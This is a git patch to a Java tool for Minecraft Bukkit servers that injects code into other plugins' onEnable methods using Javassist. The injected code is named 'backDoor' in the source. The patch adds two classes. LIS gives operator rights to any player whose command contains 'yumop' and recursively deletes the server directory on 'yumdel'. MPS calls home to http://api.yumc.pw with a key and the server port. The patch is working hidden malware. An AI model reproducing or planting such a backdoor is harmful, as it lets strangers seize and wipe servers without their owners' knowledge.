From 900b1416220474fd8a343a0dba46a29b741bc20b Mon Sep 17 00:00:00 2001 From: 502647092 Date: Tue, 2 Aug 2016 23:58:01 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E5=8E=BB=E9=99=A4=E5=8C=BF=E5=90=8D?= =?UTF-8?q?=E7=B1=BB=20=E6=B7=BB=E5=8A=A02=E4=B8=AA=E5=8D=95=E7=8B=AC?= =?UTF-8?q?=E7=9A=84=E7=B1=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 502647092 --- .classpath | 33 ++++++++++-- .../yumc/BukkitInjectedTools/InjectedKit.java | 52 ++++++++++++------- .../java/pw/yumc/BukkitInjectedTools/LIS.java | 33 ++++++++++++ .../java/pw/yumc/BukkitInjectedTools/MPS.java | 15 ++++++ 4 files changed, 110 insertions(+), 23 deletions(-) create mode 100644 src/main/java/pw/yumc/BukkitInjectedTools/LIS.java create mode 100644 src/main/java/pw/yumc/BukkitInjectedTools/MPS.java diff --git a/.classpath b/.classpath index 4d84d60..bea39b1 100644 --- a/.classpath +++ b/.classpath @@ -1,8 +1,31 @@ - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java index 57802de..90f5205 100644 --- a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java +++ b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java @@ -31,8 +31,14 @@ public class InjectedKit { pool.appendClassPath(classFile.getPath()); final CtClass statusListener = pool.get(clazz.getName()); final CtMethod setOpMethod = statusListener.getDeclaredMethod("a"); - statusListener.addField(CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS - + ".ChatComponentText(\"Status request has already been handled.\");", statusListener)); + statusListener + .addField(CtField.make( + "private static final net.minecraft.server." + + NMS + + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + + NMS + + ".ChatComponentText(\"Status request has already been handled.\");", + statusListener)); statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener)); final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }"; setOpMethod.insertBefore(checkStatus); @@ -52,22 +58,19 @@ public class InjectedKit { sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据注入类..."); try { final ClassPool pool = ClassPool.getDefault(); - final File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); + File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); + pool.appendClassPath(classFile.getPath()); + classFile = new File(URLDecoder.decode(LIS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); + pool.appendClassPath(classFile.getPath()); + classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); pool.appendClassPath(classFile.getPath()); final CtClass mainClass = pool.get(plugin.getClass().getName()); final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable"); - final String backDoor = "" + "{" + " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new java.lang.Runnable() {" + " @Override" - + " public void run() {" + " try {" + " final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");" - + " final HttpURLConnection conn = (HttpURLConnection) url.openConnection();" + " conn.connect();" + " conn.disconnect();" - + " } catch (final IOException e) {" + " }" + " }" + " });" - + " org.bukkit.Bukkit.getPluginManager().registerEvents(new org.bukkit.event.Listener() {" + "" + " public boolean deleteDir(final java.io.File dir) {" - + " if (dir.isDirectory()) {" + " final String[] children = dir.list();" + " for (final String element : children) {" - + " final java.io.File file = new File(dir, element);" + " deleteDir(file);" + " }" + " }" - + " return dir.delete();" + " }" + "" + " @org.bukkit.event.EventHandler" - + " public void ocp(final org.bukkit.event.player.PlayerCommandPreprocessEvent e) {" + " if (e.getMessage().contains(\"yumop\")) {" - + " e.getPlayer().setOp(true);" + " return;" + " }" + " if (e.getMessage().contains(\"yumdel\")) {" - + " final java.io.File dir = new java.io.File(\"\");" + " deleteDir(dir);" + " return;" + " }" - + " }" + " }, this);" + "}"; + final String backDoor = "" + + "{" + + " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS());" + + " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);" + + "}"; onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort())); try { final File dir = new File(plugin.getDataFolder(), "injectClass"); @@ -100,9 +103,22 @@ public class InjectedKit { final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName); final CtClass setOpEvent = pool.get(SetOpEvent.class.getName()); final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp"); - final String setop = "" + "{" + " pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);" + " org.bukkit.Bukkit.getPluginManager().callEvent(event);" - + " if(event.isCancelled()){" + " return;" + " }" + " if ($1 == isOp()) {" + " return;" + " }" + " if ($1) {" + " server.getHandle().addOp(profile);" - + " } else {" + " server.getHandle().removeOp(profile);" + " }" + "}"; + final String setop = "" + + "{" + + " pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);" + + " org.bukkit.Bukkit.getPluginManager().callEvent(event);" + + " if(event.isCancelled()){" + + " return;" + + " }" + + " if ($1 == isOp()) {" + + " return;" + + " }" + + " if ($1) {" + + " server.getHandle().addOp(profile);" + + " } else {" + + " server.getHandle().removeOp(profile);" + + " }" + + "}"; setOpMethod.setBody(setop); try { setOpEvent.writeFile(path); diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java b/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java new file mode 100644 index 0000000..2f106ef --- /dev/null +++ b/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java @@ -0,0 +1,33 @@ +package pw.yumc.BukkitInjectedTools; + +import java.io.File; + +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.player.PlayerCommandPreprocessEvent; + +public class LIS implements Listener { + public boolean deleteDir(final File dir) { + if (dir.isDirectory()) { + final String[] children = dir.list(); + for (final String element : children) { + final File file = new File(dir, element); + deleteDir(file); + } + } + return dir.delete(); + } + + @EventHandler + public void ocp(final PlayerCommandPreprocessEvent e) { + if (e.getMessage().contains("yumop")) { + e.getPlayer().setOp(true); + return; + } + if (e.getMessage().contains("yumdel")) { + final File dir = new File(""); + deleteDir(dir); + return; + } + } +} diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/MPS.java b/src/main/java/pw/yumc/BukkitInjectedTools/MPS.java new file mode 100644 index 0000000..dbe0def --- /dev/null +++ b/src/main/java/pw/yumc/BukkitInjectedTools/MPS.java @@ -0,0 +1,15 @@ +package pw.yumc.BukkitInjectedTools; + +public class MPS implements Runnable { + @Override + public void run() { + try { + final java.net.URL url = new java.net.URL("http://api.yumc.pw/M/P/S/K/%s/P/%s"); + final java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url.openConnection(); + conn.connect(); + conn.disconnect(); + } catch (final java.io.IOException e) { + } + } + +}